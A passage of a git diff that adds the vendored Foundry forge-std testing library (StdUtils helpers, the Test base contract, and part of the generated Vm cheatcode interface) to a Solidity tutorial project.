+        return vm.computeCreateAddress(deployer, nonce);
+    }
+
+    function computeCreate2Address(bytes32 salt, bytes32 initcodeHash, address deployer) internal pure virtual returns (address) {
+        console2_log_StdUtils('computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.');
+        return vm.computeCreate2Address(salt, initcodeHash, deployer);
+    }
+
+    /// @dev returns the address of a contract created with CREATE2 using the default CREATE2 deployer
+    function computeCreate2Address(bytes32 salt, bytes32 initCodeHash) internal pure returns (address) {
+        console2_log_StdUtils('computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.');
+        return vm.computeCreate2Address(salt, initCodeHash);
+    }
+
+    /// @dev returns an initialized mock ERC20 contract
+    function deployMockERC20(string memory name, string memory symbol, uint8 decimals) internal returns (MockERC20 mock) {
+        mock = new MockERC20();
+        mock.initialize(name, symbol, decimals);
+    }
+
+    /// @dev returns an initialized mock ERC721 contract
+    function deployMockERC721(string memory name, string memory symbol) internal returns (MockERC721 mock) {
+        mock = new MockERC721();
+        mock.initialize(name, symbol);
+    }
+
+    /// @dev returns the hash of the init code (creation code + no args) used in CREATE2 with no constructor arguments
+    /// @param creationCode the creation code of a contract C, as returned by type(C).creationCode
+    function hashInitCode(bytes memory creationCode) internal pure returns (bytes32) {
+        return hashInitCode(creationCode, '');
+    }
+
+    /// @dev returns the hash of the init code (creation code + ABI-encoded args) used in CREATE2
+    /// @param creationCode the creation code of a contract C, as returned by type(C).creationCode
+    /// @param args the ABI-encoded arguments to the constructor of C
+    function hashInitCode(bytes memory creationCode, bytes memory args) internal pure returns (bytes32) {
+        return keccak256(abi.encodePacked(creationCode, args));
+    }
+
+    // Performs a single call with Multicall3 to query the ERC-20 token balances of the given addresses.
+    function getTokenBalances(address token, address[] memory addresses) internal virtual returns (uint256[] memory balances) {
+        uint256 tokenCodeSize;
+        assembly {
+            tokenCodeSize := extcodesize(token)
+        }
+        require(tokenCodeSize > 0, 'StdUtils getTokenBalances(address,address[]): Token address is not a contract.');
+
+        // ABI encode the aggregate call to Multicall3.
+        uint256 length = addresses.length;
+        IMulticall3.Call[] memory calls = new IMulticall3.Call[](length);
+        for (uint256 i = 0; i < length; ++i) {
+            // 0x70a08231 = bytes4("balanceOf(address)"))
+            calls[i] = IMulticall3.Call({target: token, callData: abi.encodeWithSelector(0x70a08231, (addresses[i]))});
+        }
+
+        // Make the aggregate call.
+        (, bytes[] memory returnData) = multicall.aggregate(calls);
+
+        // ABI decode the return data and return the balances.
+        balances = new uint256[](length);
+        for (uint256 i = 0; i < length; ++i) {
+            balances[i] = abi.decode(returnData[i], (uint256));
+        }
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                 PRIVATE FUNCTIONS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function addressFromLast20Bytes(bytes32 bytesValue) private pure returns (address) {
+        return address(uint160(uint256(bytesValue)));
+    }
+
+    // This section is used to prevent the compilation of console, which shortens the compilation time when console is
+    // not used elsewhere. We also trick the compiler into letting us make the console log methods as `pure` to avoid
+    // any breaking changes to function signatures.
+    function _castLogPayloadViewToPure(function(bytes memory) internal view fnIn) internal pure returns (function(bytes memory) internal pure fnOut) {
+        assembly {
+            fnOut := fnIn
+        }
+    }
+
+    function _sendLogPayload(bytes memory payload) internal pure {
+        _castLogPayloadViewToPure(_sendLogPayloadView)(payload);
+    }
+
+    function _sendLogPayloadView(bytes memory payload) private view {
+        uint256 payloadLength = payload.length;
+        address consoleAddress = CONSOLE2_ADDRESS;
+        /// @solidity memory-safe-assembly
+        assembly {
+            let payloadStart := add(payload, 32)
+            let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
+        }
+    }
+
+    function console2_log_StdUtils(string memory p0) private pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function console2_log_StdUtils(string memory p0, uint256 p1) private pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256)', p0, p1));
+    }
+
+    function console2_log_StdUtils(string memory p0, string memory p1) private pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string)', p0, p1));
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/Test.sol b/basic/41-foundry/my_project/lib/forge-std/src/Test.sol
new file mode 100644
index 000000000..1b6292113
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/Test.sol
@@ -0,0 +1,33 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+// 💬 ABOUT
+// Forge Std's default Test.
+
+// 🧩 MODULES
+import {console} from './console.sol';
+import {console2} from './console2.sol';
+import {safeconsole} from './safeconsole.sol';
+import {StdAssertions} from './StdAssertions.sol';
+import {StdChains} from './StdChains.sol';
+import {StdCheats} from './StdCheats.sol';
+import {stdError} from './StdError.sol';
+import {StdInvariant} from './StdInvariant.sol';
+import {stdJson} from './StdJson.sol';
+import {stdMath} from './StdMath.sol';
+import {StdStorage, stdStorage} from './StdStorage.sol';
+import {StdStyle} from './StdStyle.sol';
+import {stdToml} from './StdToml.sol';
+import {StdUtils} from './StdUtils.sol';
+import {Vm} from './Vm.sol';
+
+// 📦 BOILERPLATE
+import {TestBase} from './Base.sol';
+
+// ⭐️ TEST
+abstract contract Test is TestBase, StdAssertions, StdChains, StdCheats, StdInvariant, StdUtils {
+    // Note: IS_TEST() must return true.
+    bool public IS_TEST = true;
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/Vm.sol b/basic/41-foundry/my_project/lib/forge-std/src/Vm.sol
new file mode 100644
index 000000000..ee7335c01
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/Vm.sol
@@ -0,0 +1,1531 @@
+// Automatically @generated by scripts/vm.py. Do not modify manually.
+
+// SPDX-License-Identifier: MIT OR Apache-2.0
+pragma solidity >=0.6.2 <0.9.0;
+pragma experimental ABIEncoderV2;
+
+/// The `VmSafe` interface does not allow manipulation of the EVM state or other actions that may
+/// result in Script simulations differing from on-chain execution. It is recommended to only use
+/// these cheats in scripts.
+interface VmSafe {
+    /// A modification applied to either `msg.sender` or `tx.origin`. Returned by `readCallers`.
+    enum CallerMode {
+        // No caller modification is currently active.
+        None,
+        // A one time broadcast triggered by a `vm.broadcast()` call is currently active.
+        Broadcast,
+        // A recurrent broadcast triggered by a `vm.startBroadcast()` call is currently active.
+        RecurrentBroadcast,
+        // A one time prank triggered by a `vm.prank()` call is currently active.
+        Prank,
+        // A recurrent prank triggered by a `vm.startPrank()` call is currently active.
+        RecurrentPrank
+    }
+
+    /// The kind of account access that occurred.
+    enum AccountAccessKind {
+        // The account was called.
+        Call,
+        // The account was called via delegatecall.
+        DelegateCall,
+        // The account was called via callcode.
+        CallCode,
+        // The account was called via staticcall.
+        StaticCall,
+        // The account was created.
+        Create,
+        // The account was selfdestructed.
+        SelfDestruct,
+        // Synthetic access indicating the current context has resumed after a previous sub-context (AccountAccess).
+        Resume,
+        // The account's balance was read.
+        Balance,
+        // The account's codesize was read.
+        Extcodesize,
+        // The account's codehash was read.
+        Extcodehash,
+        // The account's code was copied.
+        Extcodecopy
+    }
+
+    /// An Ethereum log. Returned by `getRecordedLogs`.
+    struct Log {
+        // The topics of the log, including the signature, if any.
+        bytes32[] topics;
+        // The raw data of the log.
+        bytes data;
+        // The address of the log's emitter.
+        address emitter;
+    }
+
+    /// An RPC URL and its alias. Returned by `rpcUrlStructs`.
+    struct Rpc {
+        // The alias of the RPC URL.
+        string key;
+        // The RPC URL.
+        string url;
+    }
+
+    /// An RPC log object. Returned by `eth_getLogs`.
+    struct EthGetLogs {
+        // The address of the log's emitter.
+        address emitter;
+        // The topics of the log, including the signature, if any.
+        bytes32[] topics;
+        // The raw data of the log.
+        bytes data;
+        // The block hash.
+        bytes32 blockHash;
+        // The block number.
+        uint64 blockNumber;
+        // The transaction hash.
+        bytes32 transactionHash;
+        // The transaction index in the block.
+        uint64 transactionIndex;
+        // The log index.
+        uint256 logIndex;
+        // Whether the log was removed.
+        bool removed;
+    }
+
+    /// A single entry in a directory listing. Returned by `readDir`.
+    struct DirEntry {
+        // The error message, if any.
+        string errorMessage;
+        // The path of the entry.
+        string path;
+        // The depth of the entry.
+        uint64 depth;
+        // Whether the entry is a directory.
+        bool isDir;
+        // Whether the entry is a symlink.
+        bool isSymlink;
+    }
+
+    /// Metadata information about a file.
+    /// This structure is returned from the `fsMetadata` function and represents known
+    /// metadata about a file such as its permissions, size, modification
+    /// times, etc.
+    struct FsMetadata {
+        // True if this metadata is for a directory.
+        bool isDir;
+        // True if this metadata is for a symlink.
+        bool isSymlink;
+        // The size of the file, in bytes, this metadata is for.
+        uint256 length;
+        // True if this metadata is for a readonly (unwritable) file.
+        bool readOnly;
+        // The last modification time listed in this metadata.
+        uint256 modified;
+        // The last access time of this metadata.
+        uint256 accessed;
+        // The creation time listed in this metadata.
+        uint256 created;
+    }
+
+    /// A wallet with a public and private key.
+    struct Wallet {
+        // The wallet's address.
+        address addr;
+        // The wallet's public key `X`.
+        uint256 publicKeyX;
+        // The wallet's public key `Y`.
+        uint256 publicKeyY;
+        // The wallet's private key.
+        uint256 privateKey;
+    }
+
+    /// The result of a `tryFfi` call.
+    struct FfiResult {
+        // The exit code of the call.
+        int32 exitCode;
+        // The optionally hex-decoded `stdout` data.
+        bytes stdout;
+        // The `stderr` data.
+        bytes stderr;
+    }
+
+    /// Information on the chain and fork.
+    struct ChainInfo {
+        // The fork identifier. Set to zero if no fork is active.
+        uint256 forkId;
+        // The chain ID of the current fork.
+        uint256 chainId;
+    }
+
+    /// The result of a `stopAndReturnStateDiff` call.
+    struct AccountAccess {
+        // The chain and fork the access occurred.
+        ChainInfo chainInfo;
+        // The kind of account access that determines what the account is.
+        // If kind is Call, DelegateCall, StaticCall or CallCode, then the account is the callee.
+        // If kind is Create, then the account is the newly created account.
+        // If kind is SelfDestruct, then the account is the selfdestruct recipient.
+        // If kind is a Resume, then account represents a account context that has resumed.
+        AccountAccessKind kind;
+        // The account that was accessed.
+        // It's either the account created, callee or a selfdestruct recipient for CREATE, CALL or SELFDESTRUCT.
+        address account;
+        // What accessed the account.
+        address accessor;
+        // If the account was initialized or empty prior to the access.
+        // An account is considered initialized if it has code, a
+        // non-zero nonce, or a non-zero balance.
+        bool initialized;
+        // The previous balance of the accessed account.
+        uint256 oldBalance;
+        // The potential new balance of the accessed account.
+        // That is, all balance changes are recorded here, even if reverts occurred.
+        uint256 newBalance;
+        // Code of the account deployed by CREATE.
+        bytes deployedCode;
+        // Value passed along with the account access
+        uint256 value;
+        // Input data provided to the CREATE or CALL
+        bytes data;
+        // If this access reverted in either the current or parent context.
+        bool reverted;
+        // An ordered list of storage accesses made during an account access operation.
+        StorageAccess[] storageAccesses;
+        // Call depth traversed during the recording of state differences
+        uint64 depth;
+    }
+
+    /// The storage accessed during an `AccountAccess`.
+    struct StorageAccess {
+        // The account whose storage was accessed.
+        address account;
+        // The slot that was accessed.
+        bytes32 slot;
+        // If the access was a write.
+        bool isWrite;
+        // The previous value of the slot.
+        bytes32 previousValue;
+        // The new value of the slot.
+        bytes32 newValue;
+        // If the access was reverted.
+        bool reverted;
+    }
+
+    // ======== Environment ========
+
+    /// Gets the environment variable `name` and parses it as `address`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envAddress(string calldata name) external view returns (address value);
+
+    /// Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envAddress(string calldata name, string calldata delim) external view returns (address[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bool`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBool(string calldata name) external view returns (bool value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBool(string calldata name, string calldata delim) external view returns (bool[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bytes32`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes32(string calldata name) external view returns (bytes32 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes32(string calldata name, string calldata delim) external view returns (bytes32[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bytes`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes(string calldata name) external view returns (bytes memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes(string calldata name, string calldata delim) external view returns (bytes[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `int256`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envInt(string calldata name) external view returns (int256 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envInt(string calldata name, string calldata delim) external view returns (int256[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bool`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, bool defaultValue) external view returns (bool value);
+
+    /// Gets the environment variable `name` and parses it as `uint256`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, uint256 defaultValue) external view returns (uint256 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, address[] calldata defaultValue) external view returns (address[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, bytes32[] calldata defaultValue) external view returns (bytes32[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, string[] calldata defaultValue) external view returns (string[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, bytes[] calldata defaultValue) external view returns (bytes[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `int256`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, int256 defaultValue) external view returns (int256 value);
+
+    /// Gets the environment variable `name` and parses it as `address`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, address defaultValue) external view returns (address value);
+
+    /// Gets the environment variable `name` and parses it as `bytes32`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, bytes32 defaultValue) external view returns (bytes32 value);
+
+    /// Gets the environment variable `name` and parses it as `string`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata defaultValue) external view returns (string memory value);
+
+    /// Gets the environment variable `name` and parses it as `bytes`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, bytes calldata defaultValue) external view returns (bytes memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, bool[] calldata defaultValue) external view returns (bool[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, uint256[] calldata defaultValue) external view returns (uint256[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, int256[] calldata defaultValue) external view returns (int256[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `string`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envString(string calldata name) external view returns (string memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envString(string calldata name, string calldata delim) external view returns (string[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `uint256`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envUint(string calldata name) external view returns (uint256 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envUint(string calldata name, string calldata delim) external view returns (uint256[] memory value);
+
+    /// Sets environment variables.
+    function setEnv(string calldata name, string calldata value) external;
+
+    // ======== EVM ========
+
+    /// Gets all accessed reads and write slot from a `vm.record` session, for a given address.
+    function accesses(address target) external returns (bytes32[] memory readSlots, bytes32[] memory writeSlots);
+
+    /// Gets the address for a given private key.
+    function addr(uint256 privateKey) external pure returns (address keyAddr);
+
+    /// Gets all the logs according to specified filter.
+    function eth_getLogs(uint256 fromBlock, uint256 toBlock, address target, bytes32[] calldata topics) external returns (EthGetLogs[] memory logs);
+
+    /// Gets the current `block.number`.
+    /// You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction,
+    /// and as a result will get optimized out by the compiler.
+    /// See https://github.com/foundry-rs/foundry/issues/6180
+    function getBlockNumber() external view returns (uint256 height);
+
+    /// Gets the current `block.timestamp`.
+    /// You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction,
+    /// and as a result will get optimized out by the compiler.
+    /// See https://github.com/foundry-rs/foundry/issues/6180
+    function getBlockTimestamp() external view returns (uint256 timestamp);
+
+    /// Gets the map key and parent of a mapping at a given slot, for a given address.
+    function getMappingKeyAndParentOf(address target, bytes32 elementSlot) external returns (bool found, bytes32 key, bytes32 parent);
+
+    /// Gets the number of elements in the mapping at the given slot, for a given address.
+    function getMappingLength(address target, bytes32 mappingSlot) external returns (uint256 length);
+
+    /// Gets the elements at index idx of the mapping at the given slot, for a given address. The
+    /// index must be less than the length of the mapping (i.e. the number of keys in the mapping).
+    function getMappingSlotAt(address target, bytes32 mappingSlot, uint256 idx) external returns (bytes32 value);
+
+    /// Gets the nonce of an account.
+    function getNonce(address account) external view returns (uint64 nonce);
+
+    /// Gets all the recorded logs.
+    function getRecordedLogs() external returns (Log[] memory logs);
+
+    /// Loads a storage slot from an address.
+    function load(address target, bytes32 slot) external view returns (bytes32 data);
+
+    /// Pauses gas metering (i.e. gas usage is not counted). Noop if already paused.
+    function pauseGasMetering() external;
+
+    /// Records all storage reads and writes.
+    function record() external;
+
+    /// Record all the transaction logs.
+    function recordLogs() external;
+
+    /// Resumes gas metering (i.e. gas usage is counted again). Noop if already on.
+    function resumeGasMetering() external;
+
+    /// Performs an Ethereum JSON-RPC request to the current fork URL.
+    function rpc(string calldata method, string calldata params) external returns (bytes memory data);
+
+    /// Signs `digest` with `privateKey` using the secp256r1 curve.
+    function signP256(uint256 privateKey, bytes32 digest) external pure returns (bytes32 r, bytes32 s);
+
+    /// Signs `digest` with `privateKey` using the secp256k1 curve.
+    function sign(uint256 privateKey, bytes32 digest) external pure returns (uint8 v, bytes32 r, bytes32 s);
+
+    /// Starts recording all map SSTOREs for later retrieval.
+    function startMappingRecording() external;
+
+    /// Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order,
+    /// along with the context of the calls
+    function startStateDiffRecording() external;
+
+    /// Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session.
+    function stopAndReturnStateDiff() external returns (AccountAccess[] memory accountAccesses);
+
+    /// Stops recording all map SSTOREs for later retrieval and clears the recorded data.
+    function stopMappingRecording() external;
+
+    // ======== Filesystem ========
+
+    /// Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
+    /// `path` is relative to the project root.
+    function closeFile(string calldata path) external;
+
+    /// Copies the contents of one file to another. This function will **overwrite** the contents of `to`.
+    /// On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`.
+    /// Both `from` and `to` are relative to the project root.
+    function copyFile(string calldata from, string calldata to) external returns (uint64 copied);
+
+    /// Creates a new, empty directory at the provided path.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - User lacks permissions to modify `path`.
+    /// - A parent of the given path doesn't exist and `recursive` is false.
+    /// - `path` already exists and `recursive` is false.
+    /// `path` is relative to the project root.
+    function createDir(string calldata path, bool recursive) external;
+
+    /// Returns true if the given path points to an existing entity, else returns false.
+    function exists(string calldata path) external returns (bool result);
+
+    /// Performs a foreign function call via the terminal.
+    function ffi(string[] calldata commandInput) external returns (bytes memory result);
+
+    /// Given a path, query the file system to get information about a file, directory, etc.
+    function fsMetadata(string calldata path) external view returns (FsMetadata memory metadata);
+
+    /// Gets the creation bytecode from an artifact file. Takes in the relative path to the json file.
+    function getCode(string calldata artifactPath) external view returns (bytes memory creationBytecode);
+
+    /// Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file.
+    function getDeployedCode(string calldata artifactPath) external view returns (bytes memory runtimeBytecode);
+
+    /// Returns true if the path exists on disk and is pointing at a directory, else returns false.
+    function isDir(string calldata path) external returns (bool result);
+
+    /// Returns true if the path exists on disk and is pointing at a regular file, else returns false.
+    function isFile(string calldata path) external returns (bool result);
+
+    /// Get the path of the current project root.
+    function projectRoot() external view returns (string memory path);
+
+    /// Prompts the user for a string value in the terminal.
+    function prompt(string calldata promptText) external returns (string memory input);
+
+    /// Prompts the user for a hidden string value in the terminal.
+    function promptSecret(string calldata promptText) external returns (string memory input);
+
+    /// Reads the directory at the given path recursively, up to `maxDepth`.
+    /// `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned.
+    /// Follows symbolic links if `followLinks` is true.
+    function readDir(string calldata path) external view returns (DirEntry[] memory entries);
+
+    /// See `readDir(string)`.
+    function readDir(string calldata path, uint64 maxDepth) external view returns (DirEntry[] memory entries);
+
+    /// See `readDir(string)`.
+    function readDir(string calldata path, uint64 maxDepth, bool followLinks) external view returns (DirEntry[] memory entries);
+
+    /// Reads the entire content of file to string. `path` is relative to the project root.
+    function readFile(string calldata path) external view returns (string memory data);
+
+    /// Reads the entire content of file as binary. `path` is relative to the project root.
+    function readFileBinary(string calldata path) external view returns (bytes memory data);
+
+    /// Reads next line of file to string.
+    function readLine(string calldata path) external view returns (string memory line);
+
+    /// Reads a symbolic link, returning the path that the link points to.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - `path` is not a symbolic link.
+    /// - `path` does not exist.
+    function readLink(string calldata linkPath) external view returns (string memory targetPath);
+
+    /// Removes a directory at the provided path.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - `path` doesn't exist.
+    /// - `path` isn't a directory.
+    /// - User lacks permissions to modify `path`.
+    /// - The directory is not empty and `recursive` is false.
+    /// `path` is relative to the project root.
+    function removeDir(string calldata path, bool recursive) external;
+
+    /// Removes a file from the filesystem.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - `path` points to a directory.
+    /// - The file doesn't exist.
+    /// - The user lacks permissions to remove the file.
+    /// `path` is relative to the project root.
+    function removeFile(string calldata path) external;
+
+    /// Performs a foreign function call via terminal and returns the exit code, stdout, and stderr.
+    function tryFfi(string[] calldata commandInput) external returns (FfiResult memory result);
+
+    /// Returns the time since unix epoch in milliseconds.
+    function unixTime() external returns (uint256 milliseconds);
+
+    /// Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
+    /// `path` is relative to the project root.
+    function writeFile(string calldata path, string calldata data) external;
+
+    /// Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does.
+    /// `path` is relative to the project root.
+    function writeFileBinary(string calldata path, bytes calldata data) external;
+
+    /// Writes line to file, creating a file if it does not exist.
+    /// `path` is relative to the project root.
+    function writeLine(string calldata path, string calldata data) external;
+
+    // ======== JSON ========
+
+    /// Checks if `key` exists in a JSON object
+    /// `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions.
+    function keyExists(string calldata json, string calldata key) external view returns (bool);
+
+    /// Checks if `key` exists in a JSON object.
+    function keyExistsJson(string calldata json, string calldata key) external view returns (bool);
+
+    /// Parses a string of JSON data at `key` and coerces it to `address`.
+    function parseJsonAddress(string calldata json, string calldata key) external pure returns (address);
+
+    /// Parses a string of JSON data at `key` and coerces it to `address[]`.
+    function parseJsonAddressArray(string calldata json, string calldata key) external pure returns (address[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bool`.
+    function parseJsonBool(string calldata json, string calldata key) external pure returns (bool);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bool[]`.
+    function parseJsonBoolArray(string calldata json, string calldata key) external pure returns (bool[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes`.
+    function parseJsonBytes(string calldata json, string calldata key) external pure returns (bytes memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes32`.
+    function parseJsonBytes32(string calldata json, string calldata key) external pure returns (bytes32);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes32[]`.
+    function parseJsonBytes32Array(string calldata json, string calldata key) external pure returns (bytes32[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes[]`.
+    function parseJsonBytesArray(string calldata json, string calldata key) external pure returns (bytes[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `int256`.
+    function parseJsonInt(string calldata json, string calldata key) external pure returns (int256);
+
+    /// Parses a string of JSON data at `key` and coerces it to `int256[]`.
+    function parseJsonIntArray(string calldata json, string calldata key) external pure returns (int256[] memory);
+
+    /// Returns an array of all the keys in a JSON object.
+    function parseJsonKeys(string calldata json, string calldata key) external pure returns (string[] memory keys);
+
+    /// Parses a string of JSON data at `key` and coerces it to `string`.
+    function parseJsonString(string calldata json, string calldata key) external pure returns (string memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `string[]`.
+    function parseJsonStringArray(string calldata json, string calldata key) external pure returns (string[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `uint256`.
+    function parseJsonUint(string calldata json, string calldata key) external pure returns (uint256);
+
+    /// Parses a string of JSON data at `key` and coerces it to `uint256[]`.
+    function parseJsonUintArray(string calldata json, string calldata key) external pure returns (uint256[] memory);
+
+    /// ABI-encodes a JSON object.
+    function parseJson(string calldata json) external pure returns (bytes memory abiEncodedData);
+
+    /// ABI-encodes a JSON object at `key`.
+    function parseJson(string calldata json, string calldata key) external pure returns (bytes memory abiEncodedData);
+
+    /// See `serializeJson`.
+    function serializeAddress(string calldata objectKey, string calldata valueKey, address value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeAddress(string calldata objectKey, string calldata valueKey, address[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBool(string calldata objectKey, string calldata valueKey, bool value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBool(string calldata objectKey, string calldata valueKey, bool[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes32(string calldata objectKey, string calldata valueKey, bytes32 value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes32(string calldata objectKey, string calldata valueKey, bytes32[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes(string calldata objectKey, string calldata valueKey, bytes calldata value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes(string calldata objectKey, string calldata valueKey, bytes[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeInt(string calldata objectKey, string calldata valueKey, int256 value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeInt(string calldata objectKey, string calldata valueKey, int256[] calldata values) external returns (string memory json);
+
+    /// Serializes a key and value to a JSON object stored in-memory that can be later written to a file.
+    /// Returns the stringified version of the specific JSON file up to that moment.
+    function serializeJson(string calldata objectKey, string calldata value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeString(string calldata objectKey, string calldata valueKey, string calldata value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeString(string calldata objectKey, string calldata valueKey, string[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeUint(string calldata objectKey, string calldata valueKey, uint256 value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeUint(string calldata objectKey, string calldata valueKey, uint256[] calldata values) external returns (string memory json);
+
+    /// Write a serialized JSON object to a file. If the file exists, it will be overwritten.
+    function writeJson(string calldata json, string calldata path) external;
+
+    /// Write a serialized JSON object to an **existing** JSON file, replacing a value with key = <value_key.>
+    /// This is useful to replace a specific value of a JSON file, without having to parse the entire thing.
+    function writeJson(string calldata json, string calldata path, string calldata valueKey) external;
+
+    // ======== Scripting ========
+
+    /// Using the address that calls the test contract, has the next call (at this call depth only)
+    /// create a transaction that can later be signed and sent onchain.
+    function broadcast() external;
+
+    /// Has the next call (at this call depth only) create a transaction with the address provided
+    /// as the sender that can later be signed and sent onchain.
+    function broadcast(address signer) external;
+
+    /// Has the next call (at this call depth only) create a transaction with the private key
+    /// provided as the sender that can later be signed and sent onchain.
+    function broadcast(uint256 privateKey) external;
+
+    /// Using the address that calls the test contract, has all subsequent calls
+    /// (at this call depth only) create transactions that can later be signed and sent onchain.
+    function startBroadcast() external;
+
+    /// Has all subsequent calls (at this call depth only) create transactions with the address
